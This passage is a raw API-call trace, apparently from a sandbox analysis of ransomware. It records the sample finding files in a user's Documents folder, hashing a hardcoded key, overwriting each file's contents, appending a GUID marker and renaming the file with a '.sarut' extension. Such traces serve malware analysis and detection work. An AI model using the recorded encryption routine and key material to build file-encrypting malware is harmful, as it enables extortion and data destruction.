[0270.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0270.121] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0270.121] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0270.121] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.121] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.121] CloseHandle (hObject=0x5c4) returned 1 [0270.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0270.123] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0270.124] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0270.124] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\8D Vnyq.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\8d vnyq.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\8D Vnyq.pps.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\8d vnyq.pps.sarut")) returned 1 [0270.124] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.124] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.126] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.126] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d88680, ftCreationTime.dwHighDateTime=0x1d4d249, ftLastAccessTime.dwLowDateTime=0xb0cc21b0, ftLastAccessTime.dwHighDateTime=0x1d4cd76, ftLastWriteTime.dwLowDateTime=0xb0cc21b0, ftLastWriteTime.dwHighDateTime=0x1d4cd76, nFileSizeHigh=0x0, nFileSizeLow=0x189b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BykHThXT56fcYaqQV2X.doc", cAlternateFileName="BYKHTH~1.DOC")) returned 1 [0270.126] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.126] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0270.126] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.126] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\BykHThXT56fcYaqQV2X.doc") returned=".doc" [0270.126] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\BykHThXT56fcYaqQV2X.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\bykhthxt56fcyaqqv2x.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.127] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=100787) returned 1 [0270.127] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.129] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1898d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.130] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.131] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.131] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.131] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.131] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x189b3, lpOverlapped=0x0) returned 1 [0270.132] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.132] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.132] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.133] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.133] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.134] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.134] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.134] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.134] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.134] GetLastError () returned 0x0 [0270.134] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.134] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.134] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x189b0) returned 0x311d708 [0270.135] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0270.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.135] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x189ae, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x189ae, lpOverlapped=0x0) returned 1 [0270.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.135] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x189b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0270.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0270.135] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0270.136] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0270.136] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.136] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.136] CloseHandle (hObject=0x5c4) returned 1 [0270.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054690 [0270.137] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8c0) returned 0x311d708 [0270.137] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054690 | out: hHeap=0x640000) returned 1 [0270.137] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\BykHThXT56fcYaqQV2X.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\bykhthxt56fcyaqqv2x.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\BykHThXT56fcYaqQV2X.doc.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\bykhthxt56fcyaqqv2x.doc.sarut")) returned 1 [0270.140] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.140] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.141] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.141] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x132c4f70, ftCreationTime.dwHighDateTime=0x1d4d35c, ftLastAccessTime.dwLowDateTime=0x496981a0, ftLastAccessTime.dwHighDateTime=0x1d4d59d, ftLastWriteTime.dwLowDateTime=0x496981a0, ftLastWriteTime.dwHighDateTime=0x1d4d59d, nFileSizeHigh=0x0, nFileSizeLow=0x17d75, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dv6T5k65sGE5bg7xPK.pps", cAlternateFileName="DV6T5K~1.PPS")) returned 1 [0270.141] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.141] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0270.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.142] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\dv6T5k65sGE5bg7xPK.pps") returned=".pps" [0270.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\dv6T5k65sGE5bg7xPK.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\dv6t5k65sge5bg7xpk.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.143] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=97653) returned 1 [0270.143] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.146] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17d4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.146] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.149] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.149] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.149] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x17d75, lpOverlapped=0x0) returned 1 [0270.150] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.150] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.150] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.150] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.150] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.151] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.151] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.151] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.151] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.152] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.152] GetLastError () returned 0x0 [0270.152] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.152] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.152] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.152] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x17d80) returned 0x311d708 [0270.153] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0270.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.153] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x17d70, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x17d70, lpOverlapped=0x0) returned 1 [0270.153] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.153] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17d75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.153] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.154] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0270.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0270.154] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0270.154] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0270.154] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.154] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.154] CloseHandle (hObject=0x5c4) returned 1 [0270.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054690 [0270.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8c0) returned 0x311d708 [0270.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054690 | out: hHeap=0x640000) returned 1 [0270.160] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\dv6T5k65sGE5bg7xPK.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\dv6t5k65sge5bg7xpk.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\dv6T5k65sGE5bg7xPK.pps.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\dv6t5k65sge5bg7xpk.pps.sarut")) returned 1 [0270.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.161] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.162] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.162] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6fdc0, ftCreationTime.dwHighDateTime=0x1d4c94a, ftLastAccessTime.dwLowDateTime=0x836a6f30, ftLastAccessTime.dwHighDateTime=0x1d4cb80, ftLastWriteTime.dwLowDateTime=0x836a6f30, ftLastWriteTime.dwHighDateTime=0x1d4cb80, nFileSizeHigh=0x0, nFileSizeLow=0x1285c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GoUIrAAbbfuwwj-FRw.ods", cAlternateFileName="GOUIRA~1.ODS")) returned 1 [0270.162] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0270.162] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0270.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0270.163] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\GoUIrAAbbfuwwj-FRw.ods") returned=".ods" [0270.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\GoUIrAAbbfuwwj-FRw.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\gouiraabbfuwwj-frw.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.179] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=75868) returned 1 [0270.179] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.182] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12836, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.182] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0270.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.184] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.184] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1285c, lpOverlapped=0x0) returned 1 [0270.185] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.185] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0270.185] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.185] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.185] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.186] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.186] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.186] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.186] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0270.186] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.186] GetLastError () returned 0x0 [0270.186] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.186] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.186] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.186] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x12860) returned 0x311d708 [0270.187] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0270.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0270.187] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x12857, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x12857, lpOverlapped=0x0) returned 1 [0270.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.187] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1285c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1990 [0270.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0270.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0270.187] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0270.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0270.187] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1990 | out: hHeap=0x640000) returned 1 [0270.187] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0270.188] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0270.188] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.188] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.188] CloseHandle (hObject=0x5c4) returned 1 [0270.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054690 [0270.193] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8c0) returned 0x311d708 [0270.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054690 | out: hHeap=0x640000) returned 1 [0270.193] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\GoUIrAAbbfuwwj-FRw.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\gouiraabbfuwwj-frw.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\GoUIrAAbbfuwwj-FRw.ods.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\gouiraabbfuwwj-frw.ods.sarut")) returned 1 [0270.193] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: 